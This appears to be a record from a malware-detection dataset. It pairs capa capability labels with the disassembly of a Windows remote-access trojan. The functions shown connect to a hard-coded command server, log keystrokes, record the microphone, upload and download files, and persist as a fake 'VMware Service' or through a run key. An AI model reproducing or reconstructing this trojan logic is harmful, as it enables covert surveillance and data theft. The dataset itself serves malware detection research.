joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001d62
Capabilities:
Get memory capacity

Disassembly:
push rbp
push rbx
sub rsp, 0x68
lea rbp, [rsp + 0x60]
mov qword [rbp + 0x20], rcx
mov dword [rbp - 0x40], 0x40
lea rax, [rbp - 0x40]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
call rax
mov rax, qword [rbp + 0x20]
mov rcx, qword [rbp - 0x40]
mov rbx, qword [rbp - 0x38]
mov qword [rax], rcx
mov qword [rax + 8], rbx
mov rcx, qword [rbp - 0x30]
mov rbx, qword [rbp - 0x28]
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], rbx
mov rcx, qword [rbp - 0x20]
mov rbx, qword [rbp - 0x18]
mov qword [rax + 0x20], rcx
mov qword [rax + 0x28], rbx
mov rcx, qword [rbp - 0x10]
mov rbx, qword [rbp - 8]
mov qword [rax + 0x30], rcx
mov qword [rax + 0x38], rbx
mov rax, qword [rbp + 0x20]
add rsp, 0x68
pop rbx
pop rbp
ret

Function at 0x140001dd6
Capabilities:
Get system information on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x58
lea rbp, [rsp + 0x50]
mov qword [rbp + 0x20], rcx
lea rax, [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call rax
mov rax, qword [rbp + 0x20]
mov rcx, qword [rbp - 0x30]
mov rbx, qword [rbp - 0x28]
mov qword [rax], rcx
mov qword [rax + 8], rbx
mov rcx, qword [rbp - 0x20]
mov rbx, qword [rbp - 0x18]
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], rbx
mov rcx, qword [rbp - 0x10]
mov rbx, qword [rbp - 8]
mov qword [rax + 0x20], rcx
mov qword [rax + 0x28], rbx
mov rax, qword [rbp + 0x20]
add rsp, 0x58
pop rbx
pop rbp
ret

Function at 0x140001e33
Capabilities:
Get hostname

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov ecx, 0x10
call sym.malloc
mov qword [rbp - 8], rax
mov dword [rbp - 0xc], 0x10
lea rdx, [rbp - 0xc]
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetComputerNameA]
call rax
mov rax, qword [rbp - 8]
add rsp, 0x30
pop rbp
ret

Function at 0x140001e6e
Capabilities:
Get disk size

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
lea rax, [rbp - 0x20]
lea rcx, [rax + 8]
lea rdx, [rbp - 0x20]
lea rax, [rbp - 8]
mov r9, rcx
mov r8, rdx
mov rdx, rax
lea rax, [0x140014050]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
call rax
mov rcx, qword [rbp + 0x10]
mov rax, qword [rbp - 0x20]
mov rdx, qword [rbp - 0x18]
mov qword [rcx], rax
mov qword [rcx + 8], rdx
mov rax, qword [rbp + 0x10]
add rsp, 0x40
pop rbp
ret

Function at 0x1400020e0
Capabilities:
Send data
Send data on socket

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
call sym.strSysrch
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.strlen
mov ecx, eax
mov rdx, qword [rbp - 8]
mov rax, qword [rbp + 0x10]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.free
mov ecx, 0x12c
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov eax, 0
add rsp, 0x30
pop rbp
ret
Function at 0x140002e7d
Capabilities:
Query environment variable

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
lea rax, str.temp
mov rcx, rax
call sym.getenv
mov qword [0x14001b4a0], rax
mov rax, qword [str.sv0.1d.t]
mov rdx, qword [0x14001b4a0]
mov qword [rsp + 0x20], rax
mov r9, rdx
lea r8, str._s_s
mov edx, 0xc8
lea rax, [0x14001b4c0]
mov rcx, rax
call sym.snprintf
lea rax, [0x14001454f]
mov rdx, rax
lea rax, [0x14001b4c0]
mov rcx, rax
call sym.fopen
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140002f06
lea rax, str.Error_al_abrir_el_archivo.
mov rcx, rax
call sym.puts
mov eax, 0
jmp 0x140002f12
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.KyRcrdr
add rsp, 0x40
pop rbp
ret

Function at 0x140002f18
Capabilities:
Capture microphone audio

Disassembly:
push rbp
mov eax, 0x1030
call fcn.14000d6e0
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xfc0], rcx
lea rax, [rbp + 0x7a0]
lea r8, str.random_str
lea rdx, str.open_new_type_waveaudio_alias__s
mov rcx, rax
call sym.sprintf
lea rdx, [rbp - 0x60]
lea rax, [rbp + 0x7a0]
mov r9d, 0
mov r8d, 0x800
mov rcx, rax
mov rax, qword [sym.imp.WINMM.dll_mciSendStringA]
call rax
mov dword [rbp + 0xfac], eax
cmp dword [rbp + 0xfac], 0
je 0x140002f93
lea rax, [0x140014581]
mov rcx, rax
call sym.printf
lea rax, [rbp + 0x7a0]
lea r8, str.random_str
lea rdx, str.set__s_time_format_ms
mov rcx, rax
call sym.sprintf
lea rdx, [rbp - 0x60]
lea rax, [rbp + 0x7a0]
mov r9d, 0
mov r8d, 0x800
mov rcx, rax
mov rax, qword [sym.imp.WINMM.dll_mciSendStringA]
call rax
mov dword [rbp + 0xfac], eax
lea rax, [rbp + 0x7a0]
lea r8, str.random_str
lea rdx, str.record__s_notify
mov rcx, rax
call sym.sprintf
lea rdx, [rbp - 0x60]
lea rax, [rbp + 0x7a0]
mov r9d, 0
mov r8d, 0x800
mov rcx, rax
mov rax, qword [sym.imp.WINMM.dll_mciSendStringA]
call rax
mov dword [rbp + 0xfac], eax
mov ecx, 0x2af8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rax, [rbp + 0x7a0]
lea r8, str.random_str
lea rdx, str.stop__s
mov rcx, rax
call sym.sprintf
lea rdx, [rbp - 0x60]
lea rax, [rbp + 0x7a0]
mov r9d, 0
mov r8d, 0x800
mov rcx, rax
mov rax, qword [sym.imp.WINMM.dll_mciSendStringA]
call rax
mov dword [rbp + 0xfac], eax
mov rdx, qword [rbp + 0xfc0]
lea rax, [rbp + 0x7a0]
mov r9, rdx
lea r8, str.random_str
lea rdx, str.save__s__s
mov rcx, rax
call sym.sprintf
lea rdx, [rbp - 0x60]
lea rax, [rbp + 0x7a0]
mov r9d, 0
mov r8d, 0x800
mov rcx, rax
mov rax, qword [sym.imp.WINMM.dll_mciSendStringA]
call rax
mov dword [rbp + 0xfac], eax
lea rax, [rbp + 0x7a0]
lea r8, str.random_str
lea rdx, str.close__s
mov rcx, rax
call sym.sprintf
lea rdx, [rbp - 0x60]
lea rax, [rbp + 0x7a0]
mov r9d, 0
mov r8d, 0x800
mov rcx, rax
mov rax, qword [sym.imp.WINMM.dll_mciSendStringA]
call rax
mov dword [rbp + 0xfac], eax
nop
add rsp, 0x1030
pop rbp
ret
Function at 0x140003143
Capabilities:
Read and send data from client to server
Read file on windows
Send data
Send data on socket

Disassembly:
push rbp
sub rsp, 0x8b0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x840], rcx
mov qword [rbp + 0x848], rdx
mov rax, qword [rbp + 0x840]
lea rdx, [0x1400145c7]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x828], rax
lea rax, [rbp + 0x10]
mov r8d, 0x800
mov edx, 0
mov rcx, rax
call sym.memset
mov qword [rbp + 0x820], 0
mov rax, qword [rbp + 0x840]
mov rcx, rax
call sym.gtflesze
mov dword [rbp + 0x81c], eax
mov edx, dword [rbp + 0x81c]
lea rax, [rbp - 0x60]
mov r8d, edx
lea rdx, [0x1400145ca]
mov rcx, rax
call sym.sprintf
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x848]
mov r9d, 0
mov r8d, 0x64
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
jmp 0x140003219
lea rdx, [rbp + 0x10]
mov rax, qword [rbp + 0x848]
mov r9d, 0
mov r8d, 0x800
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov rdx, qword [rbp + 0x828]
lea rax, [rbp + 0x10]
mov r9, rdx
mov r8d, 0x800
mov edx, 1
mov rcx, rax
call sym.fread
mov qword [rbp + 0x820], rax
cmp qword [rbp + 0x820], 0
jne 0x1400031f6
mov rax, qword [rbp + 0x828]
mov rcx, rax
call sym.fclose
mov ecx, 0x12c
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x848]
mov r9d, 0
mov r8d, 3
lea rdx, [0x1400145ce]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
nop
add rsp, 0x8b0
pop rbp
ret

Function at 0x140003298
Capabilities:
Query environment variable

Disassembly:
push rbp
push rbx
sub rsp, 0x48
lea rbp, [rsp + 0x40]
mov qword [rbp + 0x20], rcx
lea rax, str.temp
mov rcx, rax
call sym.getenv
mov qword [rbp - 8], rax
lea rax, str.se2h.wv
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.strlen
mov rbx, rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.strlen
add rax, rbx
add rax, 1
mov rcx, rax
call sym.malloc
mov qword [rbp - 0x18], rax
mov rdx, qword [rbp - 8]
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sym.strcpy
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sym.strlen
mov rdx, rax
mov rax, qword [rbp - 0x18]
add rax, rdx
mov word [rax], 0x5c
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sym.strcat
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sym.rcrdSv
mov rax, qword [rbp - 0x18]
add rsp, 0x48
pop rbx
pop rbp
ret
Function at 0x14000389d
Capabilities:
Get common file path
Send data
Send data on socket
Set current directory

Disassembly:
push rbp
push rbx
sub rsp, 0x58
lea rbp, [rsp + 0x50]
mov dword [rbp + 0x20], ecx
mov qword [rbp + 0x28], rdx
mov ecx, 0x801
call sym.malloc
mov qword [rbp - 8], rax
mov ecx, 0x801
call sym.malloc
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.strlen
mov rdx, rax
mov rax, qword [rbp - 8]
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.memset
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.strlen
mov rdx, rax
mov rax, qword [rbp - 0x10]
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.memset
mov rax, qword [rbp + 0x28]
lea rdx, [0x1400145e0]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x1400039a0
mov rax, qword [rbp - 8]
mov rdx, rax
mov ecx, 0x801
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.strlen
mov ecx, eax
mov eax, dword [rbp + 0x20]
cdqe
mov rdx, qword [rbp - 8]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov ecx, 0x12c
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov eax, dword [rbp + 0x20]
cdqe
mov r9d, 0
mov r8d, 3
lea rdx, [0x1400145ce]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
jmp 0x140003aa0
mov dword [rbp - 0x24], 0x206463
lea rdx, [rbp - 0x24]
mov rax, qword [rbp + 0x28]
mov rcx, rax
call sym.strstr
mov qword [rbp - 0x18], rax
lea rax, [rbp - 0x24]
mov rcx, rax
call sym.strlen
mov rdx, qword [rbp - 0x18]
add rax, rdx
mov rcx, rax
call sym.strlen
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
lea rbx, [rax + 1]
lea rax, [rbp - 0x24]
mov rcx, rax
call sym.strlen
mov rdx, qword [rbp - 0x18]
add rdx, rax
mov rax, qword [rbp - 8]
mov r8, rbx
mov rcx, rax
call sym.memmove
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
call rax
mov rax, qword [rbp - 0x10]
mov rdx, rax
mov ecx, 0x801
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
call rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.strlen
mov ecx, eax
mov eax, dword [rbp + 0x20]
cdqe
mov rdx, qword [rbp - 0x10]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov ecx, 0x12c
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov eax, dword [rbp + 0x20]
cdqe
mov r9d, 0
mov r8d, 3
lea rdx, [0x1400145ce]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.free
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.free
nop
add rsp, 0x58
pop rbx
pop rbp
ret
Function at 0x140003aa7
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbp
push rdi
sub rsp, 0x828
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x7c0], ecx
lea rdx, [rbp - 0x60]
mov eax, 0
mov ecx, 0x100
mov rdi, rdx
rep stosq qword [rdi], rax
mov eax, dword [rbp + 0x7c0]
cdqe
lea rdx, [rbp - 0x60]
mov r9d, 0
mov r8d, 0x800
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
lea rax, [rbp - 0x60]
lea rdx, [0x1400145e5]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x140003b29
lea rax, [rbp - 0x60]
mov r8d, 0x800
mov edx, 0
mov rcx, rax
call sym.memset
jmp 0x140003bac
lea rax, [rbp - 0x60]
movzx eax, byte [rax]
test al, al
je 0x140003ba6
lea rax, [rbp - 0x60]
lea rdx, [0x1400145e0]
mov rcx, rax
call sym.strstr
test rax, rax
je 0x140003b79
lea rdx, [rbp - 0x60]
mov eax, dword [rbp + 0x7c0]
mov ecx, eax
call sym._chdir
lea rax, [rbp - 0x60]
mov r8d, 0x800
mov edx, 0
mov rcx, rax
call sym.memset
jmp 0x140003ad2
lea rdx, [rbp - 0x60]
mov eax, dword [rbp + 0x7c0]
mov ecx, eax
call sym.excndSnd
lea rax, [rbp - 0x60]
mov r8d, 0x800
mov edx, 0
mov rcx, rax
call sym.memset
jmp 0x140003ad2
nop
jmp 0x140003ad2
mov ecx, 0x1f4
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
nop
add rsp, 0x828
pop rdi
pop rbp
ret
Function at 0x140003bc5
Capabilities:
Read and send data from client to server
Read file on windows
Send data
Send data on socket

Disassembly:
push rbp
sub rsp, 0x8a0
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x830], ecx
mov qword [rbp + 0x838], rdx
mov rax, qword [rbp + 0x838]
lea rdx, [0x1400145e7]
mov rcx, rax
call sym.rplceFle
mov qword [rbp + 0x818], rax
mov rax, qword [rbp + 0x818]
lea rdx, [0x1400145f1]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x140003c27
lea rax, [0x14001b4c0]
mov qword [rbp + 0x818], rax
mov rax, qword [rbp + 0x818]
mov rcx, rax
call sym.gtflesze
mov dword [rbp + 0x814], eax
mov edx, dword [rbp + 0x814]
lea rax, [rbp + 0x7a0]
mov r9d, edx
lea r8, [0x1400145ca]
mov edx, 0x64
mov rcx, rax
call sym.snprintf
lea rax, [rbp + 0x7a0]
mov rcx, rax
call sym.strlen
mov ecx, eax
mov eax, dword [rbp + 0x830]
cdqe
lea rdx, [rbp + 0x7a0]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov ecx, 0x12c
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
cmp dword [rbp + 0x814], 0xffffffff
jne 0x140003cdd
mov eax, dword [rbp + 0x830]
cdqe
mov r9d, 0
mov r8d, 2
lea rdx, [0x1400145f8]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov eax, 1
jmp 0x140003da4
mov rax, qword [rbp + 0x818]
lea rdx, [0x1400145c7]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x808], rax
mov dword [rbp + 0x804], 0
mov rdx, qword [rbp + 0x808]
lea rax, [rbp - 0x60]
mov r9, rdx
mov r8d, 0x7ff
mov edx, 1
mov rcx, rax
call sym.fread
mov dword [rbp + 0x804], eax
cmp dword [rbp + 0x804], 0
jle 0x140003d81
mov eax, dword [rbp + 0x804]
cdqe
mov byte [rbp + rax - 0x60], 0
mov eax, dword [rbp + 0x830]
cdqe
mov ecx, dword [rbp + 0x804]
lea rdx, [rbp - 0x60]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
lea rax, [rbp - 0x60]
mov r8d, 0x800
mov edx, 0
mov rcx, rax
call sym.memset
jmp 0x140003d04
nop
mov rax, qword [rbp + 0x808]
mov rcx, rax
call sym.fclose
mov ecx, 0x190
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov eax, 0
add rsp, 0x8a0
pop rbp
ret
Function at 0x140003e52
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push rbp
sub rsp, 0x840
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x7d0], rcx
mov qword [rbp + 0x7d8], rdx
mov rax, qword [rbp + 0x7d0]
lea rdx, [0x1400145fb]
mov rcx, rax
call sym.rplceFle
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
call rax
mov qword [rbp + 0x7b8], rax
mov rax, qword [rbp + 0x7b8]
lea rdx, [0x14001454f]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x7b0], rax
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x7d8]
mov r9d, 0
mov r8d, 0x800
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
cdqe
mov qword [rbp + 0x7a8], rax
lea rax, [rbp - 0x60]
lea rdx, [0x1400145ce]
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x140003f3a
mov rcx, qword [rbp + 0x7b0]
mov rdx, qword [rbp + 0x7a8]
lea rax, [rbp - 0x60]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fwrite
lea rax, [rbp - 0x60]
mov r8d, 0x800
mov edx, 0
mov rcx, rax
call sym.memset
jmp 0x140003eb6
nop
mov rax, qword [rbp + 0x7b0]
mov rcx, rax
call sym.fclose
nop
add rsp, 0x840
pop rbp
ret
Function at 0x140003f54
Capabilities:
Copy file
Create process on windows
Persist via run registry key
Persist via windows service
Query environment variable
Send data
Send data on socket
Set registry value

Disassembly:
push rbp
push rbx
sub rsp, 0x158
lea rbp, [rsp + 0x80]
mov dword [rbp + 0xf0], ecx
mov qword [rbp + 0xf8], rdx
lea rax, [0x140014603]
mov rcx, rax
call sym.getenv
mov qword [rbp + 0xc8], rax
lea rax, [0x14001460b]
mov qword [rbp + 0xc0], rax
mov rax, qword [rbp + 0xc8]
mov rcx, rax
call sym.strlen
mov rbx, rax
mov rax, qword [rbp + 0xc0]
mov rcx, rax
call sym.strlen
add rax, rbx
add rax, 1
mov rcx, rax
call sym.malloc
mov qword [rbp + 0xb8], rax
mov rdx, qword [rbp + 0xc8]
mov rax, qword [rbp + 0xb8]
mov rcx, rax
call sym.strcpy
mov rdx, qword [rbp + 0xc0]
mov rax, qword [rbp + 0xb8]
mov rcx, rax
call sym.strcat
cmp qword [rbp + 0xb8], 0
jne 0x140004034
mov eax, dword [rbp + 0xf0]
cdqe
mov r9d, 0
mov r8d, 0x800
lea rdx, [0x14001461e]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov eax, 1
jmp 0x1400041d0
lea rax, [rbp - 0x60]
mov r8d, 0xff
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
mov rdx, qword [rbp + 0xb8]
lea rax, [rbp - 0x60]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
mov dword [rbp + 0xb4], eax
cmp dword [rbp + 0xb4], 0
jne 0x1400040ac
mov eax, dword [rbp + 0xf0]
cdqe
mov r9d, 0
mov r8d, 0x800
lea rdx, [0x14001461e]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov eax, 1
jmp 0x1400041d0
mov ecx, 0x800
call sym.malloc
mov qword [rbp + 0xa8], rax
mov rax, qword [rbp + 0xf8]
lea rdx, [0x140014624]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x140004101
mov rdx, qword [rbp + 0xb8]
mov rax, qword [rbp + 0xa8]
mov r9, rdx
lea r8, [0x140014628]
mov edx, 0x800
mov rcx, rax
call sym.snprintf
jmp 0x14000418c
mov rax, qword [rbp + 0xf8]
lea rdx, str.high
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x14000418c
call sym.sPrvlg
mov rdx, rax
lea rax, [0x140014325]
mov rcx, rax
call sym.strstr
test rax, rax
je 0x14000415e
mov rdx, qword [rbp + 0xb8]
mov rax, qword [rbp + 0xa8]
mov r9, rdx
lea r8, str.sc_create__VMware_Service__binpath___s_service__start_auto
mov edx, 0x800
mov rcx, rax
call sym.snprintf
jmp 0x14000418c
mov eax, dword [rbp + 0xf0]
cdqe
mov r9d, 0
mov r8d, 0xe
lea rdx, str.permissonError
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov eax, 1
jmp 0x1400041d0
mov rax, qword [rbp + 0xa8]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WinExec]
call rax
mov eax, dword [rbp + 0xf0]
cdqe
mov r9d, 0
mov r8d, 5
lea rdx, str.exito
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov eax, 0
add rsp, 0x158
pop rbx
pop rbp
ret
Function at 0x1400045d1
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Terminate process

Disassembly:
push rbp
sub rsp, 0x1e0
lea rbp, [rsp + 0x80]
lea rax, [rbp - 0x40]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
je 0x140004604
mov ecx, 1
call sym.exit
mov r8d, 0
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov dword [rbp + 0x15c], eax
mov word [rbp - 0x50], 2
mov ecx, 0x2328
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp - 0x4e], ax
lea rax, str.192.168.131.33
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp - 0x4c], eax
mov eax, dword [rbp + 0x15c]
cdqe
lea rdx, [rbp - 0x50]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
mov dword [rbp + 0x158], eax
cmp dword [rbp + 0x158], 0xffffffff
jne 0x140004693
mov ecx, 0x2710
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
call sym.cnctn
jmp 0x1400046d1
lea rax, [rbp - 0x58]
mov r9d, 0
lea r8, [sym.srtKyRd]
mov edx, 0
mov rcx, rax
call sym.pthread_create
mov eax, dword [rbp + 0x15c]
mov ecx, eax
call sym.mainLoop
mov ecx, 0x2710
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
call sym.cnctn
nop
add rsp, 0x1e0
pop rbp
ret

Function at 0x140004724
Capabilities:
Create thread

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
mov dword [0x14001b6c0], 0x10
mov dword [0x14001b6c4], 2
mov dword [0x14001b6c8], 5
mov dword [0x14001b6cc], 0
mov dword [0x14001b6d0], 0
mov dword [0x14001b6d4], 0
mov dword [0x14001b6d8], 0
lea rax, [sym.CtrlHdlr]
mov rdx, rax
lea rax, str.VMService
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerA]
call rax
mov qword [0x14001b6e0], rax
mov rax, qword [0x14001b6e0]
test rax, rax
je 0x14000481f
mov dword [0x14001b6c4], 4
mov rax, qword [0x14001b6e0]
lea rdx, [0x14001b6c0]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_SetServiceStatus]
call rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.WorkerThread]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [0x14001b6e8], rax
mov rax, qword [0x14001b6e8]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
jmp 0x140004820
nop
add rsp, 0x30
pop rbp
ret
Function at 0x1400052a9
Capabilities:
Print debug messages

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x90
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
cmp qword [rbp + 0x10], 0
je 0x1400053f4
mov rax, qword [rbp + 0x10]
mov rcx, rax
call sym.pthread_spin_destroy
cmp eax, 1
jne 0x1400053e7
movabs rax, 0x6c6320726f727245
movabs rdx, 0x7520676e696e6165
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x68], rdx
movabs rax, 0x6b5f6e6970732070
movabs rdx, 0x20726f6620737965
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rdx
movabs rax, 0x20646165726874
mov edx, 0
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rdx
mov qword [rbp - 0x40], 0
mov qword [rbp - 0x38], 0
mov qword [rbp - 0x30], 0
mov qword [rbp - 0x28], 0
mov qword [rbp - 0x20], 0
mov qword [rbp - 0x18], 0
mov qword [rbp - 0x15], 0
mov qword [rbp - 0xd], 0
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call rax
mov ecx, eax
lea rax, [rbp - 0x70]
add rax, 0x27
mov r8d, 0xa
mov rdx, rax
mov rax, qword [sym.imp.ucrtbase.dll__ultoa]
call rax
mov dword [rbp - 4], 0x27
jmp 0x14000539d
add dword [rbp - 4], 1
mov eax, dword [rbp - 4]
cdqe
movzx eax, byte [rbp + rax - 0x70]
test al, al
je 0x1400053b3
mov eax, dword [rbp - 4]
cmp eax, 0x69
jbe 0x140005399
mov eax, dword [rbp - 4]
cmp eax, 0x69
ja 0x1400053d2
mov eax, dword [rbp - 4]
cdqe
mov byte [rbp + rax - 0x70], 0xa
mov eax, dword [rbp - 4]
add eax, 1
cdqe
mov byte [rbp + rax - 0x70], 0
lea rax, [rbp - 0x70]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call rax
call sym.abort
mov rax, qword [rbp + 0x10]
mov rdx, qword [rbp + 0x18]
mov qword [rax], rdx
jmp 0x1400053f5
nop
add rsp, 0x90
pop rbp
ret